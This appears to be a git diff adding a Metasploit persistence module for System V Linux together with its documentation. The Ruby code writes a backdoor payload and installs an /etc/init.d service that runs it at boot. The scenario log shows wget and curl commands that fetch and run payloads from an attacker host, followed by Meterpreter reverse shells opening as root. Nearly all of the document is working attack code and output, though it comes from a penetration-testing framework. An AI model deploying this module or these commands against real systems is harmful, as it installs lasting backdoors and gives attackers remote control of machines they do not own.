diff --git a/documentation/modules/exploit/linux/persistence/init_sysvinit.md b/documentation/modules/exploit/linux/persistence/init_sysvinit.md new file mode 100644 index 0000000000000..1c8dd31ad845b --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/init_sysvinit.md @@ -0,0 +1,119 @@ +## Vulnerable Application + +This module will create a service via System V on the box, and mark it for auto-restart. +We need enough access to write service files and potentially restart services + +Targets: + +* CentOS <= 5 +* Debian <= 6 +* Kali 2.0 +* Ubuntu <= 9.04 + +Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. + +Verified on [Kali 2.0](https://old.kali.org/kali-images/kali-2.0/kali-linux-2.0-amd64.iso) + +## Verification Steps + +1. Exploit a box +2. `use exploit/linux/persistence/init_sysvinit` +3. `set SESSION ` +4. `set PAYLOAD ` +5. `set LHOST ` +6. `exploit` + +## Options + +### SERVICE + +The name of the service to create. If not chosen, a random one is created. + +### PAYLOAD_NAME + +The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created. + +### EnableService + +If the service should be enabled. Defaults to `true` + +## Scenarios + +### Kali 2.0 + +Initial access vector via web delivery + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO 1KkF4s8n --no-check-certificate http://111.111.1.111:8181/l; chmod +x 1KkF4s8n; ./1KkF4s8n& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.22 web_delivery - Delivering Payload (250 bytes) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.22 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.22:56459) at 2025-02-16 07:51:56 -0500 +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/root) > getuid +Server username: root +(Meterpreter 1)(/root) > sysinfo +Computer : kali2.0 +OS : Kali 2.0 (Linux 4.0.0-kali1-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/root) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_sysvinit +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_sysvinit) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_sysvinit) > exploit +[*] Command to run on remote host: curl -so ./BQVXqXpLiG http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./BQVXqXpLiG;./BQVXqXpLiG& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_sysvinit) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. +[+] The target appears to be vulnerable. /tmp/ is writable and system is System V based +[*] Writing backdoor to /tmp//MarxU +[*] Utilizing update-rc.d +[*] Writing service: /etc/init.d/JIxbnwyUcQ +[+] Enabling & starting our service +[*] Client 222.222.2.22 requested /Hg3DGEu9GqlWD06kh4AzFg +[*] Sending payload to 222.222.2.22 (curl/7.38.0) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.22 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:55807) at 2025-02-16 07:56:21 -0500 +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/kali2.0_20250216.5622/kali2.0_20250216.5622.rc +``` \ No newline at end of file diff --git a/modules/exploits/linux/persistence/init_sysvinit.rb b/modules/exploits/linux/persistence/init_sysvinit.rb new file mode 100644 index 0000000000000..0bc39ad366188 --- /dev/null +++ b/modules/exploits/linux/persistence/init_sysvinit.rb @@ -0,0 +1,237 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Exploit::FileDropper + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/service_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Service System V Persistence', + 'Description' => %q{ + This module will create a service via System V on the box, and mark it for auto-restart. + We need enough access to write service files and potentially restart services + Targets: + CentOS <= 5 + Debian <= 6 + Kali 2.0 + Ubuntu <= 9.04 + Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it. + Verified on Kali 2.0 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + [ + 'System V', { + runlevel: '2 3 4 5' + } + ] + ], + 'DefaultTarget' => 0, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'References' => [ + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], + ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS] + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Privileged' => true, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'DisclosureDate' => '1983-01-01' # system v release date + ) + ) + + register_options( + [ + OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']), + OptString.new('SERVICE', [false, 'Name of service to create']) + ] + ) + register_advanced_options( + [ + OptBool.new('EnableService', [true, 'Enable the service', true]) + ] + ) + end + + def check + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir) + + has_updatercd = command_exists?('update-rc.d') + if has_updatercd || command_exists?('chkconfig') # centos 5 + return CheckCode::Appears("#{writable_dir} is writable and system is System V based") + end + + CheckCode::Safe('Likely not a System V based system') + end + + def install_persistence + backdoor = write_shell(writable_dir) + + path = backdoor.split('/')[0...-1].join('/') + file = backdoor.split('/')[-1] + + system_v(path, file, target.opts[:runlevel], command_exists?('update-rc.d')) + end + + def write_shell(path) + file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) + backdoor = "#{path}/#{file_name}" + vprint_status("Writing backdoor to #{backdoor}") + if payload.arch.first == 'cmd' + write_file(backdoor, payload.encoded) + chmod(backdoor, 0o755) + else + upload_and_chmodx backdoor, generate_payload_exe + end + @clean_up_rc << "rm #{backdoor}\n" + + if file_exist?(backdoor) + chmod(backdoor, 0o711) + return backdoor + end + fail_with(Failure::NoAccess, 'File not written, check permissions.') + end + + def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd) + if has_updatercd + vprint_status('Utilizing update-rc.d') + else + vprint_status('Utilizing chkconfig') + end + + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) + + script = <<~EOF + #!/bin/sh + ### BEGIN INIT INFO + # Provides: #{service_filename} + # Required-Start: $network + # Required-Stop: $network + # Default-Start: #{runlevel} + # Default-Stop: 0 1 6 + # Short-Description: Start daemon at boot time + # Description: Enable service provided by daemon. + ### END INIT INFO + DIR="#{backdoor_path}" + CMD="#{backdoor_file}" + NAME="$(basename "$0")" + PID_FILE="/var/run/$NAME.pid" + STDOUT_LOG="/var/log/$NAME.log" + STDERR_LOG="/var/log/$NAME.err" + get_pid() { + [ -f "$PID_FILE" ] && cat "$PID_FILE" + } + is_running() { + PID=$(get_pid) + [ -n "$PID" ] && kill -0 "$PID" 2>/dev/null + } + start_service() { + if is_running; then + echo "$NAME is already running." + return 0 + fi + echo "Starting $NAME..." + #{'sudo ' if has_updatercd} $DIR/$CMD >> "$STDOUT_LOG" 2>> "$STDERR_LOG" & + echo $! > "$PID_FILE" + sleep 1 + if is_running; then + echo "$NAME started successfully." + else + echo "Failed to start $NAME. Check logs: $STDOUT_LOG $STDERR_LOG" + exit 1 + fi + } + stop_service() { + if ! is_running; then + echo "$NAME is not running." + return 0 + fi + echo "Stopping $NAME..." + kill "$(get_pid)" && rm -f "$PID_FILE" + for i in $(seq 1 10); do + if ! is_running; then + echo "$NAME stopped." + return 0 + fi + sleep 1 + done + echo "Failed to stop $NAME." + exit 1 + } + case "$1" in + start) start_service ;; + stop) stop_service ;; + restart) + stop_service + start_service + ;; + status) + if is_running; then + echo "$NAME is running." + else + echo "$NAME is stopped." + exit 1 + fi + ;; + *) + echo "Usage: $0 {start|stop|restart|status}" + exit 1 + ;; + esac + exit 0 + EOF + + service_name = "/etc/init.d/#{service_filename}" + vprint_status("Writing service: #{service_name}") + write_file(service_name, script) + + fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name) + + @clean_up_rc << "rm #{service_name}\n" + chmod(service_name, 0o755) + print_good('Enabling & starting our service') + if has_updatercd + cmd_exec("update-rc.d #{service_filename} defaults") + cmd_exec("update-rc.d #{service_filename} enable") + if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case + cmd_exec("service #{service_filename} start") + else + cmd_exec("/etc/init.d/#{service_filename} start") + end + else # CentOS + cmd_exec("chkconfig --add #{service_filename}") + cmd_exec("chkconfig #{service_filename} on") + cmd_exec("/etc/init.d/#{service_filename} start") + end + end +end